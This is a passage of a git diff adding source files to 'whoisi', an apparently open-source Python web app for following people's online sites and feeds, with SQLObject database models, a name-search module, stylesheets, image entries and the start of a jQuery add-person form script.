+        # for entries without dates
+        return self.added
+
+    # XXX At some point we need to add a user-generated hash to figure
+    # out if we really need to update a particular entry in the
+    # database instead of pulling them all down and updating them
+    # which can make things really slow.
+
+    # Need to base64 encode data coming in and out of the summary and
+    # content columns
+#     def _set_summary(self, value):
+#         if value is None:
+#             return self._SO_set_summary(value)
+#         else:
+#             return self._SO_set_summary(value.encode('base64'))
+
+#     def _set_content(self, value):
+#         if value is None:
+#             return self._SO_set_content(value)
+#         else:
+#             return self._SO_set_content(value.encode('base64'))
+
+#     def _get_summary(self):
+#         p = self._SO_get_summary()
+#         if p is not None:
+#             return p.decode('base64')
+#         return p
+
+#     def _get_content(self):
+#         p = self._SO_get_content()
+#         if p is not None:
+#             return p.decode('base64')
+#         return p
+
+class SiteHistoryArchive(SQLObject):
+    """
+    The SiteHistory object is connected to a particular site with a
+    many-to-one relationship.  It is a list of entries for a site with
+    a feed.
+    """
+    site = ForeignKey('Site')
+    title = UnicodeCol(default=None)
+    link = UnicodeCol(default=None)
+    entry_id = UnicodeCol(default=None)
+    added = DateTimeCol(default=None)
+    touched = DateTimeCol(default=None)
+    published = DateTimeCol(default=None)
+    updated = DateTimeCol(default=None)
+    summary = UnicodeCol(default=None)
+    content = UnicodeCol(default=None)
+    display_cache = UnicodeCol(default=None)
+    on_new = BoolCol(default=0)
+
+class SiteChanges(SQLObject):
+    """
+    The SiteChanges object is for sites where we scrape and look for
+    changes.  This is a time-based object.
+    """
+    site = ForeignKey('Site')
+    data = UnicodeCol(default=None)
+    date = DateTimeCol(default=None)
+
+class NewSite(SQLObject):
+    """
+    This is the table that is filled in when someone adds a site to an
+    entry.  It drives the poller and will be updated with status when
+    there's work done.
+    """
+    person = ForeignKey('Person')
+    site = ForeignKey('Site', default=None)
+    url = UnicodeCol()
+    status = UnicodeCol(default=None)
+    data = UnicodeCol(default=None)
+    error = UnicodeCol(default=None)
+    track_info = UnicodeCol(default=None)
+
+#     @staticmethod
+#     def getInProgressForPerson(person):
+#         """
+#         This will return a set of sites that are in progress (new or
+#         pick_url) for a person.  Also include the sites that you're
+#         about to display to avoid race conditions.
+#         """
+#         q = """
+#             SELECT id FROM new_site WHERE status IN ("new", "pick_url") AND person_id = %s
+#             """
+#         sites = Site.selectBy(personID=person)
+#         for i in sites:
+#             print i
+#         return NewSite.select(AND(NewSite.q.personID == person,
+#                                   NOTIN(NewSite.q.
+#                                   IN(NewSite.q.status, ["new", "pick_url"])))
+#        return NewSite.select(NewSite.q.id == person, IN(NewSite.q.status, ["new", "pick_url"]))
+
+#        results = c.queryAll((q, person))
+#        new_sites = []
+#        for i in results:
+#            new_sites.append(NewSite.get(i[0][0]))
+
+#        return new_sites
+
+
+class SiteRefresh(SQLObject):
+    """
+    This is a request to refresh a site.
+    """
+    site = ForeignKey('Site')
+    status = UnicodeCol()
+    error = UnicodeCol(default=None)
+
+class PersonSpam(SQLObject):
+    """
+    This is a record that's added when someone marks a person as spam.
+    """
+    # person
+    pass
+
+class SiteSpam(SQLObject):
+    """
+    This is a record that's added when someone marks a site as spam.
+    """
+    # site
+    pass
+
+class Follower(SQLObject):
+    """
+    This is the data item that corresponds to someone who is following
+    a set of people.
+    """
+    follow_key = StringCol(length=43, alternateID=True,
+                           alternateMethodName="by_follow_key")
+    created = DateTimeCol(default=datetime.utcnow)
+    last_visit = DateTimeCol(default=datetime.utcnow)
+    expires = DateTimeCol()
+
+    # The people this follower is following
+    people = MultipleJoin('FollowPerson')
+
+    # Used for the "this is me" operation
+    person = ForeignKey('Person', default=None)
+    email = StringCol(default=None)
+
+    # Used for exposing who you are following and how you might log
+    # in/edit later
+    public = StringCol(length=43, alternateID=True,
+                       alternateMethodName="by_public_key")
+    private = StringCol(length=43, alternateID=True,
+                        alternateMethodName="by_private_key")
+
+    # This is the last ID that we are caught up to
+    last_history = IntCol(default=None)
+
+    # How many items we have to view
+    count_history = IntCol(default=None)
+
+    person_cache = None
+
+    def cache_people(self):
+        l = list(FollowPerson.selectBy(follower=self))
+        self.person_cache = set([i.personID for i in l])
+
+    def get_person_cache(self):
+        if self.person_cache is None:
+            self.cache_people()
+
+        return self.person_cache
+
+    def is_following_anyone(self):
+        if self.person_cache is None:
+            self.cache_people()
+
+        # actually returns 0, not false if there's no one being
+        # followed
+        return len(self.person_cache)
+
+    def is_following_person(self, person_id):
+        if self.person_cache is None:
+            self.cache_people()
+
+        return person_id in self.person_cache
+
+    def add_person(self, person):
+        if self.person_cache is None:
+            self.cache_people()
+
+        # only add the person if they aren't already on the list
+        if person.id not in self.person_cache:
+            self.person_cache.add(person.id)
+            return FollowPerson(follower=self, person=person)
+
+        # Just in case we hit the race condition where someone
+        # deletes before we get it
+        try:
+            fp = FollowPerson.selectBy(follower=self, person=person)
+            return fp[0]
+        except IndexError:
+            return None
+
+    def remove_person(self, person):
+        if self.person_cache is None:
+            self.cache_people()
+
+        self.person_cache.discard(person.id)
+
+        # Note that we remove multiple instances here if they happen
+        # to exist.
+        s = FollowPerson.selectBy(follower=self, person=person)
+        for i in s:
+            i.destroySelf()
+
+    @classmethod
+    def lookup_follower(cls, follow_key):
+        try:
+            return cls.by_follow_key(follow_key)
+        except SQLObjectNotFound:
+            return None
+
+    @classmethod
+    def lookup_by_private_key(cls, private_key):
+        try:
+            return cls.by_private_key(private_key)
+        except SQLObjectNotFound:
+            return None
+
+    @classmethod
+    def lookup_by_public_key(cls, public_key):
+        try:
+            return cls.by_public_key(public_key)
+        except SQLObjectNotFound:
+            return None
+
+class FollowPerson(SQLObject):
+    """
+    There's one of these for each follow -> person object.
+    """
+    person = ForeignKey('Person')
+    follower = ForeignKey('Follower')
+    
+class ClickThrough(SQLObject):
+    """
+    Item that tracks when someone clicks through from a tinyurl link
+    to a full link.
+    """
+    stamp = DateTimeCol(default=datetime.utcnow)
+    item = ForeignKey('SiteHistory')
+    follower = ForeignKey('Follower', default=None)
+    referer = UnicodeCol(default=None)
+    remoteip = UnicodeCol(default=None)
+    useragent = UnicodeCol(default=None)
+
+class ChangeAudit(SQLObject):
+    """
+    Used to keep track of changes to the site over time.
+    """
+    stamp = DateTimeCol(default=datetime.utcnow)
+    # action - add, remove, change, follow, unfollow
+    action = StringCol(length=10)
+    # item type - person, alias, site
+    itemType = StringCol(length=10)
+    # ID of the item (for an alias or name, it's the person)
+    itemID = IntCol(default=None)
+    # random data - used for aliases and name changes right now
+    data = UnicodeCol(default=None)
+    # to keep track of who and where
+    follower = ForeignKey('Follower', default=None)
+    referer = UnicodeCol(default=None)
+    remoteip = UnicodeCol(default=None)
+    useragent = UnicodeCol(default=None)
+
+class PeopleEvent(SQLObject):
+    """
+    Information for specific events.
+    """
+    name = UnicodeCol()
+    full_name = UnicodeCol()
+    active = IntCol(default=0)
+    banner = UnicodeCol()
+
+class FollowerRecommendations(SQLObject):
+    """
+    Table for a list of recommendations for a person.
+    """
+    follower = ForeignKey('Follower')    
+    stamp = DateTimeCol(default=datetime.utcnow)
+    data = UnicodeCol()
diff --git a/whoisi/release.py b/whoisi/release.py
new file mode 100644 (file)
index 0000000..748f95b
--- /dev/null
@@ -0,0 +1,36 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+# Release information about whoisi
+
+version = "1.0"
+
+# description = "Your plan to rule the world"
+# long_description = "More description about your plan"
+# author = "Your Name Here"
+# email = "YourEmail@YourDomain"
+# copyright = "Vintage 2006 - a good year indeed"
+
+# if it's open source, you might want to specify these
+# url = "http://yourcool.site/"
+# download_url = "http://yourcool.site/download"
+# license = "MIT"
diff --git a/whoisi/search.py b/whoisi/search.py
new file mode 100644 (file)
index 0000000..e4a266e
--- /dev/null
@@ -0,0 +1,146 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from model import *
+from sqlobject.sqlbuilder import *
+import re
+
+def fast_people_ids_by_name(name):
+    """
+    "Fast" is a relative term here.  This is fast because it does as
+    few queries as possible, but it still does a few queries.  It
+    searches based on the following criteria:
+
+    1. Exact match in person.name
+    2. Exact match in name.name
+    3. Exact match in name.name as an alias like blizzard = mozilla:blizzard
+    4. Break the search term into words and look for random names.
+
+    All searches are case insensitive.
+    """
+    exact_match = set()
+    close_match = set()
+
+    c = Person._connection
+
+    # exact match on person.name
+    q = "SELECT id FROM person WHERE lower(name) = lower(%s)" % c.sqlrepr(name)
+    exact_match = exact_match.union([i[0] for i in c.queryAll(q)])
+
+    # exact match on name.name
+    q = "SELECT person_id FROM name WHERE lower(name) = lower(%s)" % c.sqlrepr(name)
+    exact_match = exact_match.union([i[0] for i in c.queryAll(q)])
+
+    # exact match on name.name as an alias
+    q = "SELECT person_id FROM name WHERE lower(name) LIKE lower(%s)" % c.sqlrepr(u'%:' + name)
+    exact_match = exact_match.union([i[0] for i in c.queryAll(q)])
+
+    # break the search into terms and just look for results
+    terms = name.split()
+    for t in terms:
+        q = "SELECT id FROM person WHERE lower(name) LIKE lower(%s)" % c.sqlrepr(u'%' + t + '%')
+        close_match = close_match.union([i[0] for i in c.queryAll(q)])
+
+        q = "SELECT person_id FROM name WHERE lower(name) LIKE lower(%s)" % c.sqlrepr(u'%' + t + '%')
+        close_match = close_match.union([i[0] for i in c.queryAll(q)])
+
+    # remove anything from the close match from anything that shows up
+    # in the exact match
+    close_match = close_match.difference(exact_match)
+
+    # and return an ordered set as an array
+    retval = []
+    retval.extend(exact_match)
+    retval.extend(close_match)
+
+    return retval
+
+class SearchService:
+
+    @staticmethod
+    def prettifyName(query):
+        """
+        This turns "chris blizzard" into "Chris Blizzard".  It won't
+        touch the case of the query if it already contains upper case
+        letters.  Also won't touch a query if it contains a ":" for
+        groups and "@" for events.
+        """
+        if re.search('[A-Z]', query):
+            return query
+
+        if re.search(':', query):
+            return query
+
+        if re.search('@', query):
+            return query
+
+        rx = "^[a-z]| [a-z]"
+        rf = lambda x: x.group(0).upper()
+        return re.sub(rx, rf, query)
+
+    @staticmethod
+    def peopleByName(query):
+        # just search by name now and INCREDIBLY SLOW
+        exact_match = set()
+        close_match = set()
+        retval = []
+
+        # first, search by exact name
+        rs = Person.select(func.lower(table.person.name) == func.lower(query))
+        for p in range(0, rs.count()):
+            exact_match = exact_match.union(set([rs[p].id]))
+
+        # look for exact matches in the list of aliases as well
+        rs = Name.select(func.lower(table.name.name) == func.lower(query))
+        for p in range(0, rs.count()):
+            exact_match = exact_match.union(set([rs[p].personID]))
+
+        # search for exact names on the right hand side of an group:name alias
+        rs = Name.select(LIKE(func.lower(table.name.name), func.lower('%:' + query)))
+        for p in range(0, rs.count()):
+            exact_match = exact_match.union(set([rs[p].personID]))
+
+        # break the search into terms and just look for results
+        terms = query.split()
+        for t in terms:
+            rs = Person.select(LIKE(func.lower(table.person.name), func.lower('%' + t + '%')))
+            for p in range(0, rs.count()):
+                close_match = close_match.union(set([rs[p].id]))
+
+            # and for aliases as well
+            rs = Name.select(LIKE(func.lower(table.name.name), func.lower('%' + t + '%')))
+            for p in range(0, rs.count()):
+                close_match = close_match.union(set([rs[p].personID]))
+
+        # remove anything from the close match from anything that
+        # shows up in the exact match
+        close_match = close_match.difference(exact_match)
+        
+        # return actual objects - requerying, for the win!
+        for i in exact_match:
+            retval.append(Person.get(i))
+
+        for i in close_match:
+            retval.append(Person.get(i))
+
+        return retval
+
diff --git a/whoisi/source/flickr-blank-75x75.svg b/whoisi/source/flickr-blank-75x75.svg
new file mode 100644 (file)
index 0000000..af91607
--- /dev/null
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+   xmlns:dc="http://purl.org/dc/elements/1.1/"
+   xmlns:cc="http://web.resource.org/cc/"
+   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+   xmlns:svg="http://www.w3.org/2000/svg"
+   xmlns="http://www.w3.org/2000/svg"
+   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+   width="75"
+   height="75"
+   id="svg2"
+   sodipodi:version="0.32"
+   inkscape:version="0.45.1"
+   version="1.0"
+   sodipodi:docbase="/home/blizzard"
+   sodipodi:docname="flickr-blank.svg"
+   inkscape:output_extension="org.inkscape.output.svg.inkscape">
+  <defs
+     id="defs4" />
+  <sodipodi:namedview
+     id="base"
+     pagecolor="#ffffff"
+     bordercolor="#000000"
+     borderopacity="1"
+     gridtolerance="10000"
+     guidetolerance="10"
+     objecttolerance="10"
+     inkscape:pageopacity="0.0"
+     inkscape:pageshadow="2"
+     inkscape:zoom="5.6"
+     inkscape:cx="84.642857"
+     inkscape:cy="24.775969"
+     inkscape:document-units="px"
+     inkscape:current-layer="layer1"
+     width="75px"
+     height="75px"
+     showgrid="true"
+     inkscape:window-width="1440"
+     inkscape:window-height="850"
+     inkscape:window-x="0"
+     inkscape:window-y="0" />
+  <metadata
+     id="metadata7">
+    <rdf:RDF>
+      <cc:Work
+         rdf:about="">
+        <dc:format>image/svg+xml</dc:format>
+        <dc:type
+           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+      </cc:Work>
+    </rdf:RDF>
+  </metadata>
+  <g
+     inkscape:label="Layer 1"
+     inkscape:groupmode="layer"
+     id="layer1">
+    <rect
+       style="fill:#e6e6e6;fill-opacity:1;stroke:#000000;stroke-opacity:1"
+       id="rect6049"
+       width="75"
+       height="75"
+       x="0"
+       y="0"
+       inkscape:export-xdpi="88.82"
+       inkscape:export-ydpi="88.82" />
+  </g>
+</svg>
diff --git a/whoisi/static/css/style.css b/whoisi/static/css/style.css
new file mode 100644 (file)
index 0000000..8d3e1a9
--- /dev/null
@@ -0,0 +1,135 @@
+body {\r
+    font-family: Trebuchet MS, Verdana, sans-serif;\r
+    font-size:14px;\r
+    font-size-adjust:none;\r
+    font-style:normal;\r
+    font-variant:normal;\r
+    font-weight:normal;\r
+    line-height:normal;\r
+    background-color: #ffffff\r
+}\r
+\r
+h1 {\r
+    font-size: 135%\r
+}\r
+\r
+h2 {\r
+    font-size: 110%\r
+}\r
+\r
+h2.error, div.error {\r
+    color: red\r
+}\r
+\r
+div.link-collection, div.weblog-entry, div.delicious-entry, div.weblog-summary, div.delicious-summary, div.twitter-collection, div.linkedin-collection {\r
+    margin-left:2.0em;\r
+    margin-top:0.8em;\r
+    margin-bottom: 0.8em\r
+}\r
+\r
+div.link-collection-item, div.url-pick {\r
+    margin-bottom: 8px\r
+}\r
+\r
+.result-block {\r
+   margin-bottom:20px;\r
+}\r
+\r
+.link-result {\r
+    margin-bottom:10px\r
+}\r
+\r
+.link-result-header {\r
+    font-weight: bold;\r
+    font-size: 110%;\r
+    margin-bottom:16px;\r
+}\r
+\r
+span.link-action > a {\r
+   font-size: 80%;\r
+   color: #7777CC\r
+}\r
+\r
+span.link-action > a:visited {\r
+   font-size: 80%;\r
+   color: #7777CC\r
+}\r
+\r
+a.link-action:visited {\r
+    font-size: 80%;\r
+    color: #7777CC\r
+}\r
+\r
+a.link-action {\r
+    font-size: 80%;\r
+    color: #7777CC\r
+}\r
+\r
+a.link-action-follow {\r
+    font-size: 90%;\r
+    font-weight: bold;\r
+    color: #0000EE\r
+}\r
+\r
+img {\r
+    border-style: none\r
+}\r
+\r
+a.weblog-summary:link, a.short-link:link {color: rgb(50,50,50)}\r
+a.weblog-summary:visited, a.short-link:visited {color: rgb(50,50,50)}\r
+a.weblog-summary:hover, a.short-link:hover {color: rgb(0,0,255)}\r
+a.weblog-summary:active, a.short-link:active {color: rgb(0,0,255)}\r
+\r
+div.weblog-summary { color: rgb(50,50,50);\r
+                    width: 500px;\r
+                    font-size: 90% }\r
+\r
+div.twitter-entry, div.linkedin-entry { width: 500px;\r
+                                      margin-bottom: 0.8em }\r
+\r
+div.other-names { font-size: 80%;\r
+                 width: 500px;\r
+                  color: rgb(96,96,96);\r
+                 margin-top: 0.6em;\r
+                  margin-left: 2.0em }\r
+\r
+span.timestamp { font-size: 80% }\r
+\r
+#nav-sidebar {\r
+    position: absolute;\r
+    padding-right: 10px;\r
+    top: 0px;\r
+    right: 15px;\r
+    text-align: left\r
+}\r
+\r
+div.site-add-wrapper, div.person-edit-wrapper, div.add-result-wrapper, div.add-form-wrapper {\r
+    width: 540px;\r
+    padding: 20px;\r
+    background-color: #ffffcc;\r
+    border: 3px solid #999999\r
+}\r
+\r
+b.search-result-header {\r
+    font-size: 135%\r
+}\r
+\r
+span.search-result-summary {\r
+    font-size: 80%\r
+}\r
+\r
+img.logo-header {\r
+    vertical-align: bottom\r
+}\r
+\r
+div.search-results-info {\r
+    margin-top: 0.8em;\r
+    margin-bottom: 0.8em;\r
+    margin-right: 300px;\r
+    padding-bottom: 0.8em;\r
+    background-color: #D5DDF3\r
+}\r
+\r
+div.footer {\r
+    font-size: 80%\r
+}\r
diff --git a/whoisi/static/css/style.css.orig b/whoisi/static/css/style.css.orig
new file mode 100644 (file)
index 0000000..61ee325
--- /dev/null
@@ -0,0 +1,130 @@
+html, body {\r
+  color: black;\r
+  background-color: #ddd;\r
+  font: x-small "Lucida Grande", "Lucida Sans Unicode", geneva, verdana, sans-serif;\r
+  margin: 0;\r
+  padding: 0;\r
+}\r
+\r
+td, th {padding:3px;border:none;}\r
+tr th {text-align:left;background-color:#f0f0f0;color:#333;}\r
+tr.odd td {background-color:#edf3fe;}\r
+tr.even td {background-color:#fff;}\r
+\r
+#header {\r
+  height: 80px;\r
+  width: 777px;\r
+  background: blue URL('../images/header_inner.png') no-repeat;\r
+  border-left: 1px solid #aaa;\r
+  border-right: 1px solid #aaa;\r
+  margin: 0 auto 0 auto;\r
+}\r
+\r
+a.link, a, a.active {\r
+  color: #369;\r
+}\r
+\r
+\r
+#main_content {\r
+  color: black;\r
+  font-size: 127%;\r
+  background-color: white;\r
+  width: 757px;\r
+  margin: 0 auto 0 auto;\r
+  border-left: 1px solid #aaa;\r
+  border-right: 1px solid #aaa;\r
+  padding: 10px;\r
+}\r
+\r
+#sidebar {\r
+  border: 1px solid #aaa;\r
+  background-color: #eee;\r
+  margin: 0.5em;\r
+  padding: 1em;\r
+  float: right;\r
+  width: 200px;\r
+  font-size: 88%;\r
+}\r
+\r
+#sidebar h2 {\r
+  margin-top: 0;\r
+}\r
+\r
+#sidebar ul {\r
+  margin-left: 1.5em;\r
+  padding-left: 0;\r
+}\r
+\r
+h1,h2,h3,h4,h5,h6,#getting_started_steps {\r
+  font-family: "Century Schoolbook L", Georgia, serif;\r
+  font-weight: bold;\r
+}\r
+\r
+h2 {\r
+  font-size: 150%;\r
+}\r
+\r
+#getting_started_steps a {\r
+  text-decoration: none;\r
+}\r
+\r
+#getting_started_steps a:hover {\r
+  text-decoration: underline;\r
+}\r
+\r
+#getting_started_steps li {\r
+  font-size: 80%;\r
+  margin-bottom: 0.5em;\r
+}\r
+\r
+#getting_started_steps h2 {\r
+  font-size: 120%;\r
+}\r
+\r
+#getting_started_steps p {\r
+  font: 100% "Lucida Grande", "Lucida Sans Unicode", geneva, verdana, sans-serif;\r
+}\r
+\r
+#footer {\r
+  border: 1px solid #aaa;\r
+  border-top: 0px none;\r
+  color: #999;\r
+  background-color: white;\r
+  padding: 10px;\r
+  font-size: 80%;\r
+  text-align: center;\r
+  width: 757px;\r
+  margin: 0 auto 1em auto;\r
+}\r
+\r
+.code {\r
+  font-family: monospace;\r
+}\r
+\r
+span.code {\r
+  font-weight: bold;\r
+  background: #eee;\r
+}\r
+\r
+#status_block {\r
+  margin: 0 auto 0.5em auto;\r
+  padding: 15px 10px 15px 55px;\r
+  background: #cec URL('../images/ok.png') left center no-repeat;\r
+  border: 1px solid #9c9;\r
+  width: 450px;\r
+  font-size: 120%;\r
+  font-weight: bolder;\r
+}\r
+\r
+.notice {\r
+  margin: 0.5em auto 0.5em auto;\r
+  padding: 15px 10px 15px 55px;\r
+  width: 450px;\r
+  background: #eef URL('../images/info.png') left center no-repeat;\r
+  border: 1px solid #cce;\r
+}\r
+\r
+.fielderror {\r
+    color: red;\r
+    font-weight: bold;\r
+}
\ No newline at end of file
diff --git a/whoisi/static/images/apple-touch-icon.png b/whoisi/static/images/apple-touch-icon.png
new file mode 100644 (file)
index 0000000..28921dc
Binary files /dev/null and b/whoisi/static/images/apple-touch-icon.png differ
diff --git a/whoisi/static/images/event/add-tag-arrow.png b/whoisi/static/images/event/add-tag-arrow.png
new file mode 100644 (file)
index 0000000..c13ebe5
Binary files /dev/null and b/whoisi/static/images/event/add-tag-arrow.png differ
diff --git a/whoisi/static/images/event/alias-link-arrow.png b/whoisi/static/images/event/alias-link-arrow.png
new file mode 100644 (file)
index 0000000..77ad683
Binary files /dev/null and b/whoisi/static/images/event/alias-link-arrow.png differ
diff --git a/whoisi/static/images/event/edit-link-arrow.png b/whoisi/static/images/event/edit-link-arrow.png
new file mode 100644 (file)
index 0000000..7e146cf
Binary files /dev/null and b/whoisi/static/images/event/edit-link-arrow.png differ
diff --git a/whoisi/static/images/favicon.ico b/whoisi/static/images/favicon.ico
new file mode 100644 (file)
index 0000000..36d443b
Binary files /dev/null and b/whoisi/static/images/favicon.ico differ
diff --git a/whoisi/static/images/header_inner.png b/whoisi/static/images/header_inner.png
new file mode 100644 (file)
index 0000000..2b2d87d
Binary files /dev/null and b/whoisi/static/images/header_inner.png differ
diff --git a/whoisi/static/images/info.png b/whoisi/static/images/info.png
new file mode 100644 (file)
index 0000000..329c523
Binary files /dev/null and b/whoisi/static/images/info.png differ
diff --git a/whoisi/static/images/ok.png b/whoisi/static/images/ok.png
new file mode 100644 (file)
index 0000000..fee6751
Binary files /dev/null and b/whoisi/static/images/ok.png differ
diff --git a/whoisi/static/images/sites/blogger16x16.gif b/whoisi/static/images/sites/blogger16x16.gif
new file mode 100644 (file)
index 0000000..ca85939
Binary files /dev/null and b/whoisi/static/images/sites/blogger16x16.gif differ
diff --git a/whoisi/static/images/sites/delicious.png b/whoisi/static/images/sites/delicious.png
new file mode 100644 (file)
index 0000000..49f5e52
Binary files /dev/null and b/whoisi/static/images/sites/delicious.png differ
diff --git a/whoisi/static/images/sites/feed-icon-16x16.png b/whoisi/static/images/sites/feed-icon-16x16.png
new file mode 100755 (executable)
index 0000000..1679ab0
Binary files /dev/null and b/whoisi/static/images/sites/feed-icon-16x16.png differ
diff --git a/whoisi/static/images/sites/flickr-blank-75x75.png b/whoisi/static/images/sites/flickr-blank-75x75.png
new file mode 100644 (file)
index 0000000..27e576e
Binary files /dev/null and b/whoisi/static/images/sites/flickr-blank-75x75.png differ
diff --git a/whoisi/static/images/sites/flickr-favicon.gif b/whoisi/static/images/sites/flickr-favicon.gif
new file mode 100644 (file)
index 0000000..e238731
Binary files /dev/null and b/whoisi/static/images/sites/flickr-favicon.gif differ
diff --git a/whoisi/static/images/sites/home.png b/whoisi/static/images/sites/home.png
new file mode 100644 (file)
index 0000000..59d52bf
Binary files /dev/null and b/whoisi/static/images/sites/home.png differ
diff --git a/whoisi/static/images/sites/identica.png b/whoisi/static/images/sites/identica.png
new file mode 100644 (file)
index 0000000..6bc597b
Binary files /dev/null and b/whoisi/static/images/sites/identica.png differ
diff --git a/whoisi/static/images/sites/linkedin.gif b/whoisi/static/images/sites/linkedin.gif
new file mode 100644 (file)
index 0000000..cad2521
Binary files /dev/null and b/whoisi/static/images/sites/linkedin.gif differ
diff --git a/whoisi/static/images/sites/picasa-favicon.png b/whoisi/static/images/sites/picasa-favicon.png
new file mode 100644 (file)
index 0000000..63af59b
Binary files /dev/null and b/whoisi/static/images/sites/picasa-favicon.png differ
diff --git a/whoisi/static/images/sites/twitter.png b/whoisi/static/images/sites/twitter.png
new file mode 100644 (file)
index 0000000..55ddce7
Binary files /dev/null and b/whoisi/static/images/sites/twitter.png differ
diff --git a/whoisi/static/images/sites/white-16x16.jpg b/whoisi/static/images/sites/white-16x16.jpg
new file mode 100644 (file)
index 0000000..f0973ec
Binary files /dev/null and b/whoisi/static/images/sites/white-16x16.jpg differ
diff --git a/whoisi/static/images/sites/wikipedia.png b/whoisi/static/images/sites/wikipedia.png
new file mode 100644 (file)
index 0000000..273aba5
Binary files /dev/null and b/whoisi/static/images/sites/wikipedia.png differ
diff --git a/whoisi/static/images/tg_under_the_hood.png b/whoisi/static/images/tg_under_the_hood.png
new file mode 100644 (file)
index 0000000..bc9c79c
Binary files /dev/null and b/whoisi/static/images/tg_under_the_hood.png differ
diff --git a/whoisi/static/images/under_the_hood_blue.png b/whoisi/static/images/under_the_hood_blue.png
new file mode 100644 (file)
index 0000000..90e84b7
Binary files /dev/null and b/whoisi/static/images/under_the_hood_blue.png differ
diff --git a/whoisi/static/images/whoisi-100.png b/whoisi/static/images/whoisi-100.png
new file mode 100644 (file)
index 0000000..1fe2ea3
Binary files /dev/null and b/whoisi/static/images/whoisi-100.png differ
diff --git a/whoisi/static/images/whoisi-200.png b/whoisi/static/images/whoisi-200.png
new file mode 100644 (file)
index 0000000..8b8928d
Binary files /dev/null and b/whoisi/static/images/whoisi-200.png differ
diff --git a/whoisi/static/javascript/addform.js b/whoisi/static/javascript/addform.js
new file mode 100644 (file)
index 0000000..30e00aa
--- /dev/null
@@ -0,0 +1,215 @@
+// Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+//
+// Permission is hereby granted, free of charge, to any person
+// obtaining a copy of this software and associated documentation
+// files (the "Software"), to deal in the Software without
+// restriction, including without limitation the rights to use, copy,
+// modify, merge, publish, distribute, sublicense, and/or sell copies
+// of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+//
+// The above copyright notice and this permission notice shall be
+// included in all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+// BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+// ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+// CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+// SOFTWARE.
+
+// So we can use firebug.
+
+try {
+    console.log('init console... done');
+}
+catch(e) {
+    console = { log: function() {} }
+}
+
+var form_name;
+var form_url;
+var form_recaptcha;
+var add_result;
+var add_start;
+var load_id;
+
+function add_person_clicked() {
+    var name_val = form_name.val();
+    var url_val = form_url.val();
+
+    if (url_val.length == 0 ||  name_val.length == 0) {
+       add_result.text("Please make sure enter a name and a url.");
+       add_result.addClass("error");
+       add_result.show();
+       return false;
+    }
+
+    // Disable the button
+    add_start.attr("disabled", true);
+
+    // Set up the notification area
+    add_result.text("Loading...");
+    add_result.removeClass("error");
+    add_result.show();
+
+    console.log("starting add person");
+
+    // Start loading
+    $.getJSON("/addperson", {name: name_val, url: url_val,
+               recaptcha_challenge_field: Recaptcha.get_challenge(),
+               recaptcha_response_field:  Recaptcha.get_response() },
+       function(data, textStatus) {
+           add_site_start_status(data, textStatus);
+       });
+
+    return false;
+}
+
+function add_site_start_status(data, textStatus) {
+    if (data.status == "bad_url") {
+       add_result.addClass("error");
+       add_result.text("You entered a bad URL.  Please fix it and try again.");
+       add_start.attr("disabled", false);
+    }
+    else if (data.status == "load_error") {
+       add_result.addClass("error");
+       add_result.text(data.error);
+       request_recaptcha();
+       add_start.attr("disabled", false);
+    }
